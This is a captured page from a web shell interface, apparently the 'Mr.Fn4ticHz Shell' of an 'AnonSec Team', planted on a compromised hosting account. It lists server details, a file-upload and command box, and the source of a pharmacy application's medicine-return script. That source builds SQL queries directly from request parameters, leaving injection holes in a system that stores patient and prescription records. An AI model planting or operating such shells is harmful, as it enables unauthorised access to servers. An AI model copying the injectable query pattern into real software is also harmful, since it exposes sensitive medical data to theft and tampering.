Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.119.255.250
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/Pharmacy/add_medicine_qty.php
<?php
session_start();
include("dbconnection.php");
require_once('../../DBManager.php');
require_once('../../patientmanager.php');
include("header.php");
include("dashboard_pharma.php");

		
if(isset($_POST['CreateReturn'])) 
{ 
$medicine_inventory ="UPDATE `medicine_inventory` SET `totalQuatity`='$_POST[AddQuatity]' WHERE inventory_id='$_GET[inventory_id]'";


if($qmedicine_inventory = mysqli_query($con,$medicine_inventory))
		{
    echo "<script>alert('Successfully');</script>";
    
		    
		} else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}

if(isset($_POST['CreateReturn'])) 
{ 
    $a=$_POST['UpgradeAmt'];
    $b=$_POST['priceFinal'];
        $res=$a-$b;
$sql1 ="UPDATE `medicine_slot` SET `quantitygiven`='$_POST[AddQty]', `ReturnQuantity`='$_POST[ReturnQuantity]',`pricetotal`='$res',`UpgradeAmt`='$res', `action2`='Return',`upgradeQty`='$_POST[AddQty]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND  medicine_id='$_GET[medicine_id]'";

if($qsql1 = mysqli_query($con,$sql1))
		{
    echo "<script>alert('Successfully');</script>";
   } else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}
if(isset($_POST['CreateReturn'])) 
{ 
     $a=$_POST['UpgradeAmt'];
    $b=$_POST['priceFinal'];
        $res=$a-$b;
 	$updated_at=date("F d, Y / h:i:s A");
   $created_at=date("F d, Y / h:i:s A");
   date_default_timezone_set("Asia/Calcutta");   //India time (GMT+5:30)
$date= date('Y-m-d');


$sql1="INSERT INTO `RetuneMedicine`(`MedicineId`, `InventoryId`, `PrescriptionId`, `PatientId`, `ReturnQuantity`, `QuantityGiven`, `TotalQuatity`, `BatchNumber`, `mrp`, `AmountPaid`,`ReturnAmt`, `IncludedDiscount`,`entered_by`,`AmtStatus`, `CreatedAt`, `UpdatedBy`,`ReturnDate`) VALUES ('$_GET[medicine_id]','$_GET[inventory_id]','$_GET[prescriptionid]','$_GET[patientid]','$_POST[ReturnQuantity]','$_POST[AddQty]','','$_GET[Batch_number]','$_POST[UpgradeAmt]','$_POST[priceFinal]','$res','$_POST[discount]','$_POST[entered_by]','Paid','$created_at','$updated_at','$date')";
//echo $sql1;



if($qsql1 = mysqli_query($con,$sql1))
		{
  
$last_id = mysqli_insert_id($con);

echo $last_id;
    echo "<script>alert('Successfully');</script>";
    echo "<script>window.location.replace('PaidReturnMedicine.php?ReturnId=$last_id&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'); </script>";
  } else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}
?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:10000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
    
  </div>
</div>
<div class="wrapper col-4" style='width:100%'>
  <div id="container-fluid">
  
 
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>

   <form method="post" action="" id="myForm" name="submit" onSubmit="return validateform()">
<table border="1" class="order-table table table-hover table-bordered">
      <thead>
                  <tr>
          <th>Date – time </th>
          <th>Medication Details</th>
             <th>Quantity To Be Return </th>
         
         </tr>
        </thead>
<tbody>
    <?php
include("dbconnection.php");
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");


$mi="SELECT * FROM `medicine_charge` WHERE  id='$_GET[mcid]'";
$resultmi = $con->query($mi);
$rowMI = mysqli_fetch_array($resultmi);

$sql1 ="SELECT * FROM site_users WHERE userno='$rowMI[hospital_Id]'";
		$qsql1 = mysqli_query($con,$sql1);
		$re = mysqli_fetch_array($qsql1);
		
		
$slot ="SELECT * FROM `medicine_slot` where prescriptionid='$rowMI[prescriptionid]' AND patientid='$rowMI[patientid]' AND srno='$rowMI[srno2]'";
$qslot = mysqli_query($con,$slot);
$rslot = mysqli_fetch_array($qslot);

$sql12="SELECT  * FROM medicine_inventory WHERE  inventory_id='$rowMI[inventory_id]'";
            $result = $con->query($sql12);
$row = mysqli_fetch_array($result);	

		
echo "<tr>
<td><b>Created at:</b> $rowMI[created_at]
                 <br><b>Created By:</b> $re[name] </td>";
 echo" <td><b>Name :</b> $rowMI[MedicineName]";
                
                 
	   
switch ($re1[durationselect]) {
  case '1':
    echo "Days";
    break;
      case '7':
    echo "Week";
    break;
case '28':
    echo "Month";
    break;

        default:
    
}


echo"";
echo"";

    



 echo " <br>	<b>	Batch No :</b> $rowMI[batchNumber]";
 echo " <br>	<b>	Quantity Sold :</b> $rslot[upgradeQty] <br>	";
 echo " <b>Grand Total</b>  :<i class='fa fa-inr'></i> $rslot[pricetotal]";
 

echo "<td>";
        
    echo "<input type='number' id='txt1$_GET[inventory_id]' required  name='ReturnQuantity'  onkeyup='sum$_GET[inventory_id]();' style='width:50%;'/><br>
<input type='hidden' id='txt2$_GET[inventory_id]' value='$rslot[upgradeQty]'  onkeyup='sum$_GET[inventory_id]();' style='width:25%;'/><br>


<input type='hidden' id='txt3$_GET[inventory_id]' name='AddQty' onkeyup='sum$_GET[inventory_id]();'   style='width:25%; color:#ff0080'/>

";
//  Calculation total qty
echo "<input type='hidden' id='totalQuatity$_GET[inventory_id]' name='totalQuatity' value='$row[totalQuatity]' onkeyup='sum$_GET[inventory_id]();' style='width:25%; color:red'/>
<input type='hidden' id='AddQuatity$_GET[inventory_id]' name='AddQuatity'   style='width:25%; color:#0040ff'/>";
  
// calculation total Amt 
echo"<input type='hidden' name='UpgradeAmt' id='UpgradeAmt$_GET[inventory_id]' value='$rslot[pricetotal]' onkeyup='Pricesum$_GET[inventory_id]();' style='width:25%;color:blue;'>
<input type='hidden' name='priceFinal' id='priceFinal$_GET[inventory_id]'  onkeyup='Pricesum$_GET[inventory_id]();' style='width:25%;color:red'>


<input type='hidden' name='discount' value='$rowMI[DisPrice]'>
<input type='hidden' name='entered_by' value='$re[entered_by]'>";
echo" <input type='hidden' name='medicine_id' value='$_GET[medicine_id]'></td>";
    
echo "</td>
</tr>";

		?>
		 <tr><td colspan='3'><input type='submit' class='btn btn-success' value='Proceed' name='CreateReturn'></td></tr>
   
</tbody>
</table> 
   </form>
    <p>&nbsp;</p>

  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
         <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drid="+drid,true);
        xmlhttp.send();
}
            
  
</script>

  </body>
</html>
</div>

<script>
  
    
    function sum<?php echo $_GET['inventory_id'] ?>() {
            var txtFirstNumberValue = document.getElementById('txt1<?php echo $_GET['inventory_id'] ?>').value;
            var txtSecondNumberValue = document.getElementById('txt2<?php echo $_GET['inventory_id'] ?>').value;
            var txttotalQuatity=document.getElementById('totalQuatity<?php echo $_GET['inventory_id'] ?>').value;
            var txtFifthNumberValue = document.getElementById('UpgradeAmt<?php echo $_GET['inventory_id'] ?>').value;
            
              var result =  parseInt(txtSecondNumberValue) - parseInt(txtFirstNumberValue);
              var textQty=parseFloat(txtFirstNumberValue)+parseFloat(txttotalQuatity);
              var DividePrice=parseFloat(txtFifthNumberValue)/parseFloat(txtSecondNumberValue);
              var FinalPrice=parseFloat(DividePrice)*parseFloat(txtFirstNumberValue);
              
            if (!isNaN(result)) {
                document.getElementById('txt3<?php echo $_GET['inventory_id'] ?>').value = result;
            }
           if (!isNaN(textQty)) {
                document.getElementById('AddQuatity<?php echo $_GET['inventory_id'] ?>').value = textQty;
            }
            if (!isNaN(FinalPrice)) {
                document.getElementById('priceFinal<?php echo $_GET['inventory_id'] ?>').value = FinalPrice;
            }
        }
</script>




    
</script>

<?php  ?>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
</script>

Anon7 - 2022
AnonSec Team